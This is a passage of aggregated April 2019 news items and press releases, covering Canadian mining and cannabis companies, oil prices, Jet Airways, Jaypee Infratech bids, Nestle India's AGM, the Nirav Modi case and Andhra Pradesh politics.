wish him the very best in his future endeavours. Progressive Planet is a Canadian based mineral exploration company with its flagship Z1 Zeolite Quarry in British Columbia, and a 100% interest in the Buckingham Graphite Project in Quebec. ON BEHALF OF THE BOARD Signed "Stephen Harpur" Stephen Harpur, CPA, CGA CEO For further information or investor relations inquiries, please contact us: 1-800-910-3072 Investors@progressiveplanet.ca www.progressiveplanet.ca Forward-Looking Statements: Some of the statements in this news release contain forward-looking information that involves inherent risk and uncertainty affecting the business of Progressive Planet Solutions Inc. Actual results may differ materially from those currently anticipated in such statements. Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. SOURCE: Progressive Planet Solutions Inc. View source version on accesswire.com:https://www.accesswire.com/543188/Progressive-Planet-Closes-Financing Edmonton, Alberta--(Newsfile Corp. - April 26, 2019) - Benchmark Metals Inc. (TSXV: BNCH) (OTCQB: CYRTF) (FSE: 87CA) (the "Company" or "Benchmark") - is pleased to announce the significant expansion of its 2019 drilling program beyond the scope announced April 22, 2019 to at least 30,000 metres. The success of the 2018 exploration program which included +4,400 metres of drilling, airborne geophysics, rock and soil sampling, and additional claim staking, proved the prospectivity of the Lawyers project, leading Benchmark to aggressively expand the scope and accelerate the pace of future programs. The 2019 program has the potential to significantly increase the existing gold-silver resource to a new resource target of +5 million gold-equivalent ounces (gold and silver) for the Lawyers Gold-Silver Project, located within the Toodoggone Mineral District on the eastern extent of the prolific Stikine Terrane, which also hosts the Golden Triangle region of British Columbia, Canada. It is expected that an expanded resource will remain open in width, at depth and along strike for further expansion with future drilling programs. As a catalyst for growth, the resource expansion drilling will prioritize target areas that have generated significant results including 87 g/t gold and 2,407 g/t silver across 2.4 metres (DDHCC15-15) in the Cliff Creek Zone and 5.76 g/t gold and 128.65 g/t silver across 33.52 metres (18DRRC010) in the Dukes Ridge Zone. Extension drilling will target gold-silver mineralization from near surface to a depth of 250 metres, with the goal of connecting discrete mineralized zones along the +3km resource strike length, including long bulk-tonnage intersections that envelope high-grade areas of veining. Seventy-five percent (75%) of the drilling will be dedicated to immediate resource expansion at Cliff Creek, Dukes Ridge, Phoenix and AGB areas that are contained within a 10km2 radiometric anomaly along the Lawyers Trend. Twenty-five percent (25%) of the drilling will test large radiometric anomalies with coincident high-grade gold-silver samples from throughout the +20km Lawyers Trend. The 120km2 Lawyers Property remains under-explored with multiple (+6) new targets identified for drill testing that exhibit the same potential as the Cliff Creek, Dukes Ridge and Phoenix zones. The new targets will be drill tested for their potential to generate new discoveries across +500 metre areas. Two of the new targets are located within an area that is 100% owned by Benchmark. Resource Drilling Map The following pseudo long-section along the +3km 'heart' of the Lawyers Trend, depicts zones for immediate resource expansion. The map illustrates areas for step-out and deeper drilling that will provide continuity and connection between zones. Figure 1. Pseudo long-section To view an enhanced version of this Figure 1, please visit: https://orders.newsfilecorp.com/files/6169/44352_5b1fb74484b0fa0b_001full.jpg The technical content of this news release has been reviewed and approved by Rob L'Heureux, M.Sc., P.Geol., a qualified person as defined by National Instrument 43-101. About Benchmark Metals Inc. Benchmark is a Canadian mineral exploration company with its common shares listed for trading on the TSX Venture Exchange in Canada, the OTCQB Venture Market in the United States and the Tradegate Exchange in Europe. Benchmark is managed by proven resource sector professionals, who have a track record of advancing exploration projects from grassroots scenarios through to production. ON BEHALF OF THE BOARD OF DIRECTORS s/ "John Williamson" John Williamson, Chief Executive Officer For further information, please contact: Jim Greig, President jimg@BNCHmetals.com Tel: (604) 260-6977 NEITHER TSX VENTURE EXCHANGE NOR ITS REGULATION SERVICES PROVIDER (AS THAT TERM IS DEFINED IN THE POLICIES OF THE TSX VENTURE EXCHANGE) ACCEPTS RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS RELEASE. This news release may contain certain "forward looking statements". Forward-looking statements involve known and unknown risks, uncertainties, assumptions and other factors that may cause the actual results, performance or achievements of the Company to be materially different from any future results, performance or achievements expressed or implied by the forward-looking statements. Any forward-looking statement speaks only as of the date of this news release and, except as may be required by applicable securities laws, the Company disclaims any intent or obligation to update any forward-looking statement, whether as a result of new information, future events or results or otherwise. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/44352 Vancouver, British Columbia--(Newsfile Corp. - April 26, 2019) - Body and Mind Inc. (CSE: BAMM) (OTC Pink: BMMJ) (the "Company" or "BaM") a multi-state operator, is pleased to announce it has signed a long term lease to relocate its production facility to a new campus located within one mile of the Pepper Lane cultivation facility. The new facility is approximately 7,500 square feet and is anticipated to be operational within 90 days pending license transfer approvals from local and state authorities. The Company plans to move the current production licence and will not need to apply for a new license to produce edibles, oils and extracts. BaM will introduce new mechanization and automation equipment to support expansion of the BaM product lines, SKU's, and efficiencies. The Company is currently testing new edible, oil and extraction products that upon successful testing will be manufactured at the new facility and marketed under the Body and Mind marquis life style brand. "This is an exciting development for BaM as our production output has been limited by space constraints. The new facility will enable us to meet the increased demand for our products, allow us to better serve our distribution partners, and allow us to introduce new products. It is anticipated that the BaM product lines will be introduced into the other states in which we have a presence in the near term," stated Robert Hasman, President of Nevada Medical Group LLC and board member of Body and Mind. The Company is pleased to provide a corporate update on multi-state initiatives: Arkansas Architectural drawings and engineering of our retail store are pending completion and submission to local permitting authorities has begun. Pending approval, we will commence construction and anticipate opening in Q3 of 2019. Capex is anticipated to be approximately USD $1.5m. The store will be branded under a new corporate marketing initiative using the "Body and Mind" dispensary brand. Ohio Retail operations commenced in February of this year. Customers visits and total sales have been steadily rising. Margins are improving as optimization initiatives are taking hold. California BaM continues to hold its investment in a convertible equity instrument into GLDH announced November 28, 2018. The deal has since been amended from 89.75% to 100% of the shares in GLDH and BaM maintains the option to convert at any time. BaM and GLDH continue to work toward a definitive agreement as state licensing remains complex. BaM is working with a top California cannabis attorney to create an optimal structure. GLDH's 100% owned Long Beach store has recently received an adult use permit. GLDH's minority equity interest in ShowGrow Las Vegas is under dispute among the Las Vegas members and as such, GLDH and BaM are contemplating removing the asset from the pending definitive agreement and removing the corresponding consideration from BaM for this asset. BaM's 100% owned California subsidiaries in conjunction with an equity partnership group have recently applied for two new retail licenses in California. via application. BaM is actively assessing a number of opportunities throughout the state to expand the Body and Mind brand. Neither the Canadian Securities Exchange nor its Regulation Services Provider (as that term is defined in the policies of the Canadian Securities Exchange) accepts responsibility for the adequacy or accuracy of this release. For further information, please contact: Michael Mills 778-389-0007 mmills@bamcannabis.com About Body and Mind BaM is a publicly traded company investing in high quality medical and recreational cannabis cultivation, production and retail. Our wholly-owned Nevada subsidiary was awarded one of the first medical marijuana cultivation licences and holds cultivation and production licenses. BaM products include dried flower, edibles, topicals, extracts as well as GPEN Gio cartridges and Lucid Mood offerings. BaM cannabis strains have won numerous awards including the 2019 Las Vegas Weekly Bud Bracket, Las Vegas Hempfest Cup 2016, High Times Top Ten, the NorCal Secret Cup and the Emerald Cup. BaM continues to expand operations in Nevada, Arkansas, Ohio and its investment in California and is dedicated to increasing shareholder value by focusing time and resources on improving operational efficiencies, facility expansions, state licensing opportunities as well as mergers and acquisitions. Please visit www.bamcannabis.com for more information. Safe Harbor Statement Except for the statements of historical fact contained herein, the information presented in this news release constitutes "forward-looking statements" as such term is used in applicable United States and Canadian laws. These statements relate to analyses and other information that are based on forecasts of future results, estimates of amounts not yet determinable and assumptions of management. Any other statements that express or involve discussions with respect to predictions, expectations, beliefs, plans, projections, objectives, assumptions or future events or performance (often, but not always, using words or phrases such as "expects" or "does not expect", "is expected", "anticipates" or "does not anticipate", "plans, "estimates" or "intends", or stating that certain actions, events or results "may", "could", "would", "might" or "will" be taken, occur or be achieved) are not statements of historical fact and should be viewed as "forward-looking statements". Such forward-looking statements involve known and unknown risks, uncertainties and other factors which may cause the actual results, performance or achievements of the Company to be materially different from any future results, performance or achievements expressed or implied by such forward-looking statements. Such risks and other factors include, among others, the actual results of activities, variations in the underlying assumptions associated with the estimation of activities, the availability of capital to fund programs and the resulting dilution caused by the raising of capital through the sale of shares, accidents, labor disputes and other risks. Although the Company has attempted to identify important factors that could cause actual actions, events or results to differ materially from those described in forward-looking statements, there may be other factors that cause actions, events or results not to be as anticipated, estimated or intended. There can be no assurance that such statements will prove to be accurate as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on forward-looking statements contained in this news release and in any document referred to in this news release. Certain matters discussed in this news release and oral statements made from time to time by representatives of the Company may constitute forward-looking statements. Although the Company believes that the expectations reflected in such forward-looking statements are based upon reasonable assumptions, it can give no assurance that its expectations will be achieved. Forward-looking information is subject to certain risks, trends and uncertainties that could cause actual results to differ materially from those projected. Many of these factors are beyond the Company's ability to control or predict. Important factors that may cause actual results to differ materially and that could impact the Company and the statements contained in this news release can be found in the Company's filings with the Securities and Exchange Commission. The Company assumes no obligation to update or supplement any forward-looking statements whether as a result of new information, future events or otherwise. This press release shall not constitute an offer to sell or the solicitation of an offer to buy securities. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/44362 By Laila Kearney NEW YORK (Reuters) - Oil prices eased after Brent touched $75 per barrel on Thursday for the first time in nearly six months on the suspension of some Russian crude exports to Europe as investors second-guessed the market's ability to rally further. Brent crude futures settled at $74.35, losing 22 cents, or 0.30 percent, after rallying for most of the day to a high of $75.60, the strongest since Oct. 31 By Laila Kearney NEW YORK (Reuters) - Oil prices eased after Brent touched $75 per barrel on Thursday for the first time in nearly six months on the suspension of some Russian crude exports to Europe as investors second-guessed the market's ability to rally further. Brent crude futures settled at $74.35, losing 22 cents, or 0.30 percent, after rallying for most of the day to a high of $75.60, the strongest since Oct. 31. U.S. West Texas Intermediate crude settled at $65.21 a barrel, falling 68 cents, or 1.03 percent, after hitting a session high of $66.28. Prices began to slip just before the settlement in a technical move, analysts said. "I think the inability to hold $66 most of the day saw some of the late-comers give up the ghost, so it was really a technical move," said John Kilduff, a partner at Again Capital LLC in New York. "There's just some fatigue in this market after the spectacular gains." Poland and Germany suspended imports of Russian crude via the Druzhba pipeline, citing contamination. The pipeline can ship up to 1 million barrels per day, or 1 percent of global crude demand, and about 700,000 bpd of flow was suspended, according to trading sources and Reuters calculations. Russia, the world's second-largest crude exporter, said it planned to start pumping clean fuel to Europe through the pipeline on April 29. U.S. crude inventories were also an overhang, analysts said. "To a certain degree, the storage build yesterday was a pretty big one, plus the first build in a couple weeks at Cushing, has put some pressure on WTI," said Mizuho director of futures Bob Yawger. U.S. crude inventories last week rose 5.5 million barrels to their highest since October 2017 at 460.6 million barrels, as stocks at the Cushing, Oklahoma, delivery hub for WTI rose 463,000 barrels, government data showed on Wednesday. (Graphic: Druzhba pipeline map, https://tmsnrt.rs/2DytnnM) The United States this week said it would end all exemptions for buyers of Iranian oil. OPEC's third-largest producer has been under U.S. sanctions for more than six months, but several major buyers, including China and India, were given temporary exemptions until this week. Beginning in May, those countries have to halt oil imports from Tehran or face sanctions. The decision follows supply cuts by the Organisation of the Petroleum Exporting Countries and non-member producers, including Russia, since the start of the year aimed at propping up oil prices. Still, Brian Hook, U.S. special representative for Iran and senior policy adviser to the secretary of state, said on Thursday "there is plenty of supply in the market to ease that transition and maintain stable prices". Consultancy Rystad Energy said Saudi Arabia and its main allies could replace lost Iranian oil. The cuts led by OPEC are in part a response to ballooning U.S. crude production, currently at a record 12.2 million bpd, making the United States the world's biggest producer. (Graphic: U.S. oil drilling, production & storage levels, https://tmsnrt.rs/2DxgF8W) (Reporting by Laila Kearney; Additional reporting by Ahmad Ghaddar in London, Henning Gloystein in Singapore; Editing by Marguerita Choy and Lisa Shumaker) This story has not been edited by Firstpost staff and is generated by auto-feed. (Reuters) - U.S. social media giant Facebook Inc on Thursday said it has filed a lawsuit in U.S. Federal court, against a company and three people in New Zealand, alleging the sale of fake engagement services on its Instagram photo-sharing platform (Reuters) - U.S. social media giant Facebook Inc on Thursday said it has filed a lawsuit in U.S. Federal court, against a company and three people in New Zealand, alleging the sale of fake engagement services on its Instagram photo-sharing platform. Facebook, in a blogpost, said the company and individuals - whom it did not name - used various other companies and websites to sell the services. It said it issued warnings and suspended associated accounts but that they persisted in their activities. (Reporting by Maria Ponnezhath in BENGALURU; Editing by Christopher Cushing) This story has not been edited by Firstpost staff and is generated by auto-feed. Jet Airways officials told the ministry that giving away international flying rights could impair the airlines chance of successfully finding a buyer The grounded carrier Jet Airways has reportedly requested the aviation ministry not to give away its international flying rights to other Indian carriers, a media report said. Jet Airways officials, according to The Times of India, told the ministry that giving away international flying rights could impair the airlines chance of successfully finding a buyer. The newspaper report added that rival SpiceJet is now planning to take up to 40 of ex-Jet B737s by June-end. It is just a matter of 10 to 15 days, please dont give Jets international flying rights till the sale process is decided, The Telegraph quoted the airline as saying. The airline requested the ministry not to allocate flying rights to any airline, whether on permanent or temporary basis. On Tuesday, allaying apprehensions of the grounded carrier on its vacant slots, the aviation ministry said they were being allocated to other airlines purely on "temporary basis" and once the airline resumes operations, these slots would be returned. The ministry also assured Jet of "protecting" its historic slots as per the applicable norms and regulations. The SBI-led consortium of lenders and Jet Airways employees unions had on Monday urged the government to secure its international landing slots to protect its valuation. "To reduce the inconvenience of passengers and facilitate induction of additional capacity, it has been decided to allot some of the slots vacated by Jet to other airlines purely on a temporary basis, for a period of three months," the ministry said in a statement on Tuesday. The abrupt temporary closure of Jet due to cash crunch last Wednesday left thousands of passengers in the lurch, forcing the ministry to allot some of the slots across domestic and international airports to other local carriers in a bid to help mitigate the inconvenience. The crisis at Jet Airways has caused inconvenience to many air passengers and the ministry is seized of the matter, it said, adding the decision to allot vacant slots to other carriers has been taken to reduce the inconvenience of passengers and facilitate induction of additional capacity. "The historic rights of Jet Airways, as per extent ministry guidelines for slot allocation will be protected. These slots will be made available to Jet as and when they revive their operations," the ministry said. With PTI inputs Photo: CTV News Charges are being considered in a collision between two Vancouver Police vehicles that sent five people to hospital. Two civilians and three officers were injured in the crash last June in downtown Vancouver involving a police cruiser and van, which struck two pedestrians, CTV News reports. The VPD said the vehicles were responding to an emergency call when the collision occurred. Both vehicles had their emergency lights and sirens on. The car was going incredibly fast, the van wasnt going so fast, witness Arthur Watt told CTV at the time. They slammed into each other and it was just amazing to witness. It was just crazy. The Independent Investigations Office has requested consideration of charges against both drivers. with files from CTV Vancouver Over 1,300 pilots are on the street after Jet Airways announced halting of operations on 17 April, endangering the jobs of over 20,000 employees. Mumbai: The pilots union of the grounded Jet Airways has expressed shock over some alleged remarks by a senior SpiceJet executive against their members during a recent recruitment drive in the city earlier this week. The reaction came after a Spicejet official allegedly told some Jet pilots that they were doing a "charity" by hiring them, according to sources. Over 1,300 pilots are on the street after Jet Airways announced halting of operations on 17 April, endangering the jobs of over 20,000 employees. "We are deeply disappointed and shocked at the treatment meted out to our members who have interacted with the top management of SpiceJet recently," the National Aviators Guild said in a statement on Thursday. "If true, we strongly condemn such unprofessional behaviour as it was humiliating and deeply disturbing for our colleagues," the guild said. SpiceJet, however, denied the allegations as "completely false and distorted," and said its team was in the city on Tuesday to hire pilots and not to run them down. The Spicejet official also allegedly told Jet pilots that his carrier was losing huge money by hiring them as first officers as if they recruited fresher pilots, they would have got Rs 25 lakh per pilot besides a bond for Rs 25 lakh as well, the source said. After the grounding of Jet, government has allotted the vacant slots of Jet Airways to other airlines for the next three months to help tide over the crisis arising out of the huge capacity reduction provided they induct more planes. This saw IndiGo and SpiceJet announcing many new flights from Delhi and Mumbai, besides adding aircraft. SpiceJet has already announced leasing of 22 Boeing 737s to partly fill the capacity gap. In this back drop, it is hiring from across categories. "These are completely false and distorted allegations. Nothing can be farther from truth than to say that the executive used words like "charity", SpiceJet said in a statement late on Thursday. The statement also clarified the security bond for first officers is as per the company policy and is not a practice new to the industry and that it has every right to follow its recruitment policies. In another development, senior BJP leader Subramanian Swamy, in a letter to aviation minister Suresh Prabhu urged government to merge Jet Airways with the struggling Air India. "The aviation ministry should recommend to the Cabinet that Jet Airways be merged with Air India to ensure air services are not restricted and also to enable Air India to recover its former premier position," said Swamy. "Any other solution is likely to raise speculation about corruption at high places and will certainly invite litigation...Recommend to stop this plunder of national assets investment, and the infrastructure of Air India," he added. He also alleged corruption in temporary allotment of the slots vacated by Jet to other airlines. Amidst the sale process of Jet, government has given a good number of Jet slots to other airlines mostly to SpiceJet, IndiGo, Vistara and GoAir, triggering a call from its lenders to protect them lest the prospective investors lose interest in acquiring it. "There is a serious effort going on by Spicejet and Vistara to benefit from this dismemberment of Jet Airways. This is being supported by some of your colleagues and officers," Swamy alleged. He had last week cautioned the government over the ongoing sale process of Jet. "Government better be careful. Two ministers are manipulating sale of Jet spoils to SpiceJet whose real owners I will reveal later. The only above-board option you have is amalgamation of Jet with Air India since bilaterals on airspace involves governments," Swamy had tweeted earlier this week. According to sources, NBCC has offered to pay Rs 500 crore upfront to lenders and would invest about Rs 2,000-2,500 crore as funding gap to complete delayed housing projects of Jaypee Infratech. New Delhi: State-owned NBCC has sweetened its bid to acquire debt-ridden Jaypee Infratech and has now offered to give lenders Rs 5,000 crore worth land parcels, sources said. The public sector enterprise, which is also completing some projects of Amrapali Group on the Supreme Court's direction, had offered lenders land worth Rs 3,000 crore in its earlier resolution plan submitted a couple of months back. It had also offered the Yamuna Expressway that connects Noida to Agra in Uttar Pradesh. NBCC and Suraksha Realty group-led consortium, which are in the race to acquire Jaypee Infratech, were asked by the lenders to sweeten their offers. Both the potential buyers have submitted their revised offers under the Insolvency and Bankruptcy Code (IBC). According to sources, NBCC has offered to pay Rs 500 crore upfront to lenders and would invest about Rs 2,000-2,500 crore as funding gap to complete delayed housing projects of Jaypee Infratech comprising over 20,000 flats in Noida. Jaypee Infratech has land parcels of 6,000 acre, out of which around 3,500 acre is unutilised. NBCC will give 100 percent equity of Yamuna Expressway to lenders. It has proposed that banks should raise about Rs 2,000 crore against the expressway and provide half of the amount (Rs 1,000 crore) to the state-owned company, which would utilise the fund for upfront payment and kickstart construction. Suraksha Group has also made an offer of land worth Rs 5,000 crore, sources said. The revised resolution plans of NBCC and Suraksha Realty would be considered by the lenders on April 26 and 30 April. "Revised resolution plans have been received from NBCC and Suraksha Realty-led consortium and will be placed for discussion amongst CoC (committee of creditors) members on resolution plans received from resolution applicants in the meetings to be held on April 26 and April 30, respectively," Jaypee Infratech Interim Resolution Professional (IRP) Anuj Jain said in a regulatory filing. Meanwhile, business conglomerate Adani Group had also expressed interest to bid for Jaypee Infratech. However, lenders are unlikely to seek Adani's offer until this round of insolvency proceedings gets completed. Last week, crisis-hit Jaypee Group's promoters made a fresh attempt to retain control over its arm Jaypee Infratech by seeking the support of homebuyers for its debt resolution plan under the IBC. Jaypee Group chairman Manoj Gaur had apologised to thousands of distressed homebuyers and promised to infuse Rs 2,000 crore to complete apartments over the next four years. The group had submitted a Rs 10,000-crore plan before lenders in April 2018 as well, but the same was not accepted. In 2017, the National Company Law Tribunal (NCLT) admitted the application by an IDBI Bank-led consortium seeking resolution of Jaypee Infratech. In the first round of insolvency proceedings, the Rs 7,350 crore bid of Lakshdeep, part of Suraksha group, was rejected by lenders as it was found to be substantially lower than the company's net worth and assets. In October 2018, the IRP started a fresh initiative to revive Jaypee Infratech on the NCLT's direction. The realty firm has an outstanding debt of nearly Rs 9,800 crore. Jaypee Group flagship firm Jaiprakash Associates Ltd (JAL) had submitted Rs 750 crore in the registry of the Supreme Court for the refund to buyers and the amount is lying with the NCLT. Jaypee Infratech is a subsidiary of JAL. All resolutions, including the 'one for continuity of royalty payments' were approved with an overwhelming majority at the 60th Annual General Meeting (AGM) in New Delhi, Nestle India said in a company statement. New Delhi: FMCG major Nestle India said Thursday its shareholders have cleared a proposal for the continuation of royalty payments to its Swiss parent firm Societe des Produits Nestle SA. Shareholders also approved the proposal to seek their mandatory approval every five years for the fixation of royalty payment. All resolutions, including the "one for continuity of royalty payments" were approved with an overwhelming majority at the 60th Annual General Meeting (AGM) in New Delhi, a company statement said. Commenting on the outcome of the AGM, Suresh Narayanan, Chairman and Managing Director, Nestle India said: "I am humbled by the strong show of support from the shareholders. They have appreciated the Company's performance and shown faith in management's ability to deliver long term shareholder value. "The shareholders also appreciated the efforts towards societal initiatives, be it in the area of rural development, nutrition, water or steps taken towards managing plastic waste." The company had proposed for the continuation of payment of royalty to Societe des Produits Nestle S.A and also the approval of members every 5(five) years for that. Earlier, Nestle India had to amend the resolution in its notice dated 12 March, 2019, to its shareholders, following suggestions from the group of its shareholders. Nestle India had then said that it would seek approval from its shareholders every five years over the royalty payment. "Respecting the feedback received and the commitment of the company to high standards of corporate governance including shareholder rights, approval of members shall be sought every 5 (five) years in compliance with the applicable laws and regulations," Nestle India informed the bourses in an addendum notice this week. Nestle India had earlier proposed the payment of general licence fees (royalty) of 4.5 percent of the net sales to its licensor "during any financial year". According to a media report, it was opposed by several minority shareholders and proxy advisory firms, contending that the move was against good corporate governance norms. In a separate filing, Nestle India said its board in a meeting held Thursday declared an interim dividend of Rs 23 per equity share for the year 2019. It has also approved re-appointment of Shobinder Duggal as Whole-time Director, designated as Executive Director - Finance & Control and CFO with effect from May 10, 2019, till December 31, 2019. Nestle India, which follows January-December fiscal year, had reported a revenue of Rs 11,292.27 crore in 2018. The company which primarily operates in the food and beverage space, has some powerful brands like Maggi, Nescafe, KitKat, etc. The ED had in March obtained the permission of a special PMLA court in Mumbai for auctioning 12 cars of the Modi-Choksi duo as part of its money laundering probe in the Rs 13,500-crore alleged bank loan fraud. New Delhi: A dozen luxury cars of Punjab National Bank (PNB) scam accused businessmen Nirav Modi and Mehul Choksi have been auctioned, fetching the government exchequer Rs 3.29 crore, the Enforcement Directorate (ED) said on Friday. The vehicles were attached by the agency under the Prevention of Money Laundering Act (PMLA) in the past. As per PMLA Courts order 12 vehicles (10 vehicles of Nirav Modi Group and 2 vehicles of Mehul choksi Group) were successfully bidded for 3.29 Crore (approx.) in e-auction conducted through MSTC. ED (@dir_ed) April 26, 2019 The ED had in March obtained the permission of a special PMLA court in Mumbai for auctioning 12 cars of the Modi-Choksi duo as part of its money laundering probe in the Rs 13,500-crore alleged bank loan fraud. The e-auction was carried out by Metal Scrap Trade Corporation (MSTC) Ltd, it said in a statement. "There are 12 vehicles (10 belonging to Nirav Modi group and 2 belonging to Mehul Choksi group) put on e-auction through MSTC platform on 25 April. Out of these 12 vehicles, all vehicles (10 of Nirav Modi group and 2 of Mehul Choksi group) were successfully bid for a total amount of Rs 3,28,94,293," it said. The Income-Tax Department had last month auctioned several art works that were owned by absconding diamond merchant Nirav Modi for Rs 59.37 crore. The ED and the CBI are investigating Modi, his uncle Choksi and others for alleged money laundering and corruption to perpetrate the alleged scam in the Brady House branch of the PNB in Mumbai that was unearthed last year. While Nirav Modi has been arrested in London recently and India is seeking his extradition, Choksi is said to be in the Caribbean nation of Antigua and a similar legal action against him is on too. A UK court on Friday further remanded till 24 May Modi who is undergoing extradition proceedings in Britain in the PNB fraud and money laundering case. The 48-year-old, who has been behind bars at Wandsworth prison in south-west London since his arrest last month, appeared before Westminster Magistrates' Court Chief Magistrate Emma Arbuthnot via videolink from the jail. Nirav Modi was arrested by uniformed Scotland Yard officers from a Metro Bank branch in central London as he attempted to open a new bank account on 19 March. A London court on Friday further remanded till 24 May fugitive diamantaire Nirav Modi, who is undergoing extradition proceedings in the United Kingdom in the about Rs 13,500-crore Punjab National Bank (PNB) fraud and money laundering case. Fugitive Businessman Nirav Modi's bail rejected by London Court, next date of hearing in the case is May 24. (file pic) pic.twitter.com/m3Nv7vQWew The 48-year-old, who has been behind bars at Wandsworth prison in south-west London since his arrest last month, appeared before Westminster Magistrates' Court Chief Magistrate Emma Arbuthnot via videolink from the jail. The very brief hearing ended with judge further remanding Modi till 24 May. She scheduled a full hearing on 30 May. Last month, the diamond merchant's second bail application was rejected by a lower court in London, said a PTI report. The Crown Prosecution Service (CPS), which represents the Indian authorities through the extradition process in the UK courts, said Modi intended to appeal against Judge Emma Arbuthnot's decision to turn down his bail plea at the end of a hearing at Westminster Magistrates' Court on 29 March on the grounds that there was a substantial risk he would fail to surrender. Mr Modi intends to appeal his bail decision, but he has not yet submitted the appeal, a CPS spokesperson confirmed early this month. The diamond merchant has been behind bars at HMP Wandsworth in south-west London ever since his first bail application was rejected on 20 March. This is a case of substantial fraud, with a loss to a bank in India of between $1-2 billion. I am not persuaded that the conditional bail sought will meet the concerns of the government of India in this case, the judge had noted. The court was told that Modi's son, who had been at a school in London, had now left for higher studies in the US, which led the judge to conclude that Modi not only had a lack of community ties in the UK but also large resources at his disposal to try and flee the country. Modi's attempt to acquire the citizenship of Vanuatu in late 2017 also went against him as the judge said it seemed like he was trying to move away from India at an important time. Nirav Modi was arrested by uniformed Scotland Yard officers from a Metro Bank branch in central London as he attempted to open a new bank account on 19 March. During his first court appearance a day after, it emerged that the diamantaire accused of defrauding PNB via fraudulent Letters of Undertaking (LoUs) had been in possession of multiple passports, since revoked by the Indian authorities. While one passport is now in possession of the Metropolitan Police, a second expired passport is lying with the UK Home Office and a third with the UK's Driving and Vehicle Licensing Authority (DVLA) for a driver's licence. Besides the passports, Modi also possesses multiple residency cards, some of them expired, but covering countries/regions such as the UAE, Singapore and Hong Kong. Last week, the government removed Enforcement Directorate's (ED) special director in Mumbai, Vineet Agarwal, for his alleged interference in relieving the agency's investigating officer in the Nirav Modi money-laundering case without following due procedure, PTI reported quoting officials. They said the tenure of Agarwal has been cut short by three years and the 1994-batch Indian Police Service (IPS) officer of Maharashtra cadre has been repatriated to his home state with immediate effect. The charge has now been handed over in an "additional capacity" to the agency's special director based in Chennai. Agarwal was sent on deputation to the ED in January 2017 for five years by the Central government. His name cropped up on 29 March after he issued an order relieving his joint director in Mumbai, Satyabrat Kumar, from the Modi case probe when the court hearing in the extradition case of the absconding diamantaire was underway in London. As a controversy erupted in the sensitive case, being monitored at top levels of the government, ED director Sanjay Kumar Mishra issued a fresh order in Delhi and cancelled Agarwal's signed order, within a few hours. With PTI inputs The NCLT also warned of punitive actions against the CoC members if they failed to be present at the next hearing on Friday. Mumbai: The National Company Law Tribunal (NCLT) on Thursday took a very serious note of the failure of bankers, who want to withdraw bankruptcy proceedings against Sterling SEZ & Infrastructure, in taking note of the fraudulent activities of its promoters and ordered to be personally and explain their case Friday. A two-member bench of the Mumbai NCLT comprising Bhaskara Pantula Mohan and V Nallasenapathy also accused the bankers of misleading the tribunal by seeking to withdraw the bankruptcy petition earlier. The tribunal which had earlier allowed their petition for the same had stayed it later and Thursday ordered a detailed enquiry into the entire decision of the members of the committee of creditors' decision to vote for a one-time settlement that the absconding promoters of the company who owe Rs 8,100 crore to them. "The bankers should have informed this bench about all the frauds conducted by Sterling Biotech founders, who are also the promoters of Sterling SEZ & Infrastructure," the tribunal said and asked the CoC members to file their reply by Friday itself and be personally present. The Sterling Group, run by Nitin and Chetan Sandesara, owes over Rs 15,600 crore to banks as its flagship Sterling Biotech is also under bankruptcy and after defaulting Rs 7,500crore of bank loans. The tribunal also warned of punitive actions against the CoC members if they failed to be present at the next hearing on Friday. It can be recalled that the Mumbai bench had on April 10 allowed the bankers plea to withdraw the bankruptcy proceedings against Sterling SEZ after the defaulting promoters offered a one-time settlement. However, on April 12 the tribunal stayed the bankruptcy proceedings on Sterling SEZ after a plea by the ministry of corporate affairs as the promoters are absconding. Nitin and Chetan Sandesara are absconding and are believed to be abroad and are facing a Delhi court trail to declare them fugitive economic offenders. Chandrababu Naidu, Jagan Mohan Reddy and the Congress are wooing voters with YSR themes The Lok Sabha and assembly polls are over in Andhra Pradesh and chief minister N Chandrababu Naidu is traversing the country to campaign for allies. Yet, across the state, its still impossible to miss the larger-than-life cut-outs and posters of him staring at you with folded hands and a smile on his face, alongside a smaller picture box of a group of happy farmers or a throng of satisfied women from the numerous Self Help Groups (SHGs) expressing approval of their leader. A decade back, there would have been images of the hi-tech city in Hyderabad, of world-class airports and cut-outs of Naidu rubbing shoulders with Bill Clinton and Gates decorating the lanes and by-lanes. Drivers, passers-by, students and shopkeepers say that the TDP chief has carefully and consciously decided to undergo an image makeover to project himself as a flag-bearer of welfare schemes in the same mould as YS Rajasekhara Reddy, the former chief minister, who had dislodged him in 2004, promising a slew of social schemes and hand-outs directed at the populace. Strangely, posters from his bete noire Jagan Mohan Reddy and his party YSRCP were harder to find even before the single-phase polling in the state on April 11. People in the know of the turf battle say that being in power not only helps decide policies but also ensures the highest visibility through billboards and cut-outs. However, the shrewd politician in Jagan devised a ploy to counter the TDPs campaign. During elections as soon as one entered Andhra and tried to play a video on YouTube and similar sites, out popped the YSRCPs poll campaign advertisement with Jagan being the centrepiece of the show going through the routine of posing with smiling rural women, participating in grain harvest with farmers, comforting and assuring the needy and the distraught a throwback to the YSR days when the Congress campaign in 2009 focused on his larger-than-life image to romp home. Despite the cut-throat competition, the underlying message and target audience was the same as in YSRs time with more than 80% of the population covered by one scheme or another. The larger-than-life persona of YSR as being synonymous with Sankshema Rajyam welfare state will always remain palpable in public memory as he delivered each and every scheme to the last man standing, Sriram Karri, an author, columnist and political observer of the state said. Whosoever comes to power has to project himself in accordance with that image. In fact, close to a decade after the demise of the Congress leader, the latest election in Andhra is also a sideshow on the one-upmanship over who can be the sole inheritor to YSRs legacy of welfarism. Cutting across the political divide the aam aadmi never shied away from acknowledging YSRs contribution and how he enriched their lives. The fight to endear oneself to the bottom half is so intense that Rajasekhara Reddys son and Naidus main challenger, Jagan, has repeatedly accused the TDP of copying and renaming YSRs schemes. Naidu though tried to go one better from hiking old-age pension to increasing financial assistance to providing free cellphones to members of numerous SHGs to dangling income assistant schemes for the farmers, the chief minister has left no stone unturned to woo voters. Even TDPs Jayadev Galla, the richest MP of the outgoing 16th Lok Sabha and scion of the Amara Raja Group, made it clear that farmers have to be assisted by income support to make agriculture attractive. In his election tours, Naidu didnt shy away from admitting that reforms should benefit the people and they have to be integrated with social benefits, echoing what YSR had said a decade-and-half back that economic 